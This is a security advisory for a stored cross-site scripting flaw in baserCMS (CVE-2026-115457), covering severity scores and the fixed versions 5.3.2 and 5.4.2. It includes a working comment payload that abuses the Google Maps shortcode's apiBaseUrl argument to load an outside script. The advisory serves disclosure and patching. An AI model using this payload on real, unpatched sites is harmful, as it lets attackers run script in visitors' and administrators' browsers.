Cross-site scripting in baserCMS - CVE-2026-115457
Published: October 25, 2026
Vulnerability identifier: #VU157656
CSH Severity: Medium
CVSS v4: 5.1 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]
CVE-ID: CVE-2026-115457
CWE-ID: CWE-79
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vulnerability details
The vulnerability allows a remote attacker to execute arbitrary JavaScript in the site's origin in the browsers of visitors, including administrators, who view an affected blog article.
The vulnerability exists due to improper neutralization of the apiBaseUrl argument in the Google Maps shortcode when expanding visitor-submitted blog comments after HTML rendering. A remote attacker can submit a comment containing [BcBaser.getGoogleMaps apiKey|k|apiBaseUrl|//localhost:9999/xss.js?], which expands to <script src="//localhost:9999/xss.js??key=k"></script>, to execute attacker-controlled JavaScript when a visitor opens the article.
Affected software
baserCMS
How to mitigate CVE-2026-115457
Install security update from vendor's website.
baserCMS - addressed in versions 5.3.2, 5.4.2